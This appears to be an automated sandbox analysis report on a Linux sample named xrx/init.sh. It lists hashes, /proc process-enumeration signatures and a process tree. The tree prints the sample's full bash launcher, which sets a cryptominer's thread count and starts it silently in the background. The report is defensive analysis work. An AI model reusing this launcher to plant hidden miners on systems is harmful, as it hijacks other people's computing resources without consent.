747091fd60a9c41ff26d3878bac923c9c14b5472238874754577e14d47b8cba7

Resubmissions

27-11-2024 08:55

241127-kvn92stkar 10

27-11-2024 05:48

241127-ghggwszqes 10

Analysis

max time kernel
0s
max time network
130s
platform
ubuntu-24.04_amd64
resource
ubuntu2404-amd64-20240523-en
resource tags

arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
submitted
27-11-2024 08:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

xrx/init.sh
Size

1020KB
MD5

42693670c71a529a11e81943f5b36c5b
SHA1

9026cc25786215bba3bc06c4875f7da410425f8c
SHA256

eb2329422e52901d0bea0c0fcc4b3a6d1923ef278a96d2a14ab1839882cd0ecf
SHA512

a92d9bd9cd4c1c81a2e8042a9b7c31badba5e033743f34fb851b60350c5833afb246c64fc982112afecad9b1fc48bfdeab16a7bda169b4a635a8922549067d82
SSDEEP

12288:ztLJzlNZDaY9FnavUIqEhgvmKe36myOP7/67LN5kwrHNq9EnE:zvxNZD7FnavUILhgvJeb/67LFLNq9

Score

6^/10

discovery

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

pidof

description	ioc	Process
File opened for reading	/proc/1068/cmdline	pidof
File opened for reading	/proc/1685/cmdline	pidof
File opened for reading	/proc/7/cmdline	pidof
File opened for reading	/proc/25/cmdline	pidof
File opened for reading	/proc/39/cmdline	pidof
File opened for reading	/proc/61/stat	pidof
File opened for reading	/proc/190/stat	pidof
File opened for reading	/proc/1841/cmdline	pidof
File opened for reading	/proc/1950/cmdline	pidof
File opened for reading	/proc/1957/stat	pidof
File opened for reading	/proc/23/stat	pidof
File opened for reading	/proc/25/stat	pidof
File opened for reading	/proc/30/stat	pidof
File opened for reading	/proc/50/stat	pidof
File opened for reading	/proc/833/cmdline	pidof
File opened for reading	/proc/2005/stat	pidof
File opened for reading	/proc/2263/stat	pidof
File opened for reading	/proc/1887/stat	pidof
File opened for reading	/proc/2489/stat	pidof
File opened for reading	/proc/41/cmdline	pidof
File opened for reading	/proc/1690/stat	pidof
File opened for reading	/proc/1695/cmdline	pidof
File opened for reading	/proc/1986/cmdline	pidof
File opened for reading	/proc/2142/stat	pidof
File opened for reading	/proc/1966/cmdline	pidof
File opened for reading	/proc/2142/cmdline	pidof
File opened for reading	/proc/9/cmdline	pidof
File opened for reading	/proc/182/cmdline	pidof
File opened for reading	/proc/1082/cmdline	pidof
File opened for reading	/proc/1952/stat	pidof
File opened for reading	/proc/1966/stat	pidof
File opened for reading	/proc/1054/cmdline	pidof
File opened for reading	/proc/2206/cmdline	pidof
File opened for reading	/proc/9/stat	pidof
File opened for reading	/proc/18/cmdline	pidof
File opened for reading	/proc/21/stat	pidof
File opened for reading	/proc/42/cmdline	pidof
File opened for reading	/proc/43/stat	pidof
File opened for reading	/proc/66/stat	pidof
File opened for reading	/proc/1058/cmdline	pidof
File opened for reading	/proc/1798/stat	pidof
File opened for reading	/proc/4/stat	pidof
File opened for reading	/proc/28/stat	pidof
File opened for reading	/proc/46/cmdline	pidof
File opened for reading	/proc/52/stat	pidof
File opened for reading	/proc/55/cmdline	pidof
File opened for reading	/proc/1921/stat	pidof
File opened for reading	/proc/15/cmdline	pidof
File opened for reading	/proc/29/cmdline	pidof
File opened for reading	/proc/1949/stat	pidof
File opened for reading	/proc/2295/cmdline	pidof
File opened for reading	/proc/1998/stat	pidof
File opened for reading	/proc/2012/stat	pidof
File opened for reading	/proc/2213/stat	pidof
File opened for reading	/proc/5/stat	pidof
File opened for reading	/proc/235/cmdline	pidof
File opened for reading	/proc/418/cmdline	pidof
File opened for reading	/proc/575/cmdline	pidof
File opened for reading	/proc/891/stat	pidof
File opened for reading	/proc/2178/stat	pidof
File opened for reading	/proc/36/stat	pidof
File opened for reading	/proc/432/stat	pidof
File opened for reading	/proc/1092/cmdline	pidof
File opened for reading	/proc/1670/stat	pidof

/tmp/xrx/init.sh
/tmp/xrx/init.sh
1⤵
PID:2489

/bin/bash
/tmp/xrx/init.sh -c "exec '/tmp/xrx/init.sh' \"\$@\"" /tmp/xrx/init.sh
1⤵
PID:2489

/tmp/xrx/init.sh
/tmp/xrx/init.sh
1⤵
PID:2489

/bin/bash
/tmp/xrx/init.sh -c " #!/bin/bash if [[ \$(cat config.json | grep xxcountxx) ]]; then echo \"configuring miner\" sed -i \"s/xxcountxx/\$(nproc)/g\" config.json else echo \"using preconfigured miner\" fi PID=\$(pidof xrx) if [ \$# -eq 0 ]; then ##if no arguments if [ -z \"\${PID}\" ]; then ./xrx </dev/null &>/dev/null & disown -h %1 echo \"miner online\" else echo \"miner already online\" fi fi " /tmp/xrx/init.sh
1⤵
PID:2489
- /usr/bin/cat
  cat config.json
  2⤵
  PID:2492
- /usr/bin/grep
  grep xxcountxx
  2⤵
  PID:2493
- /usr/bin/pidof
  pidof xrx
  2⤵
  - Reads runtime system information
  PID:2494

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads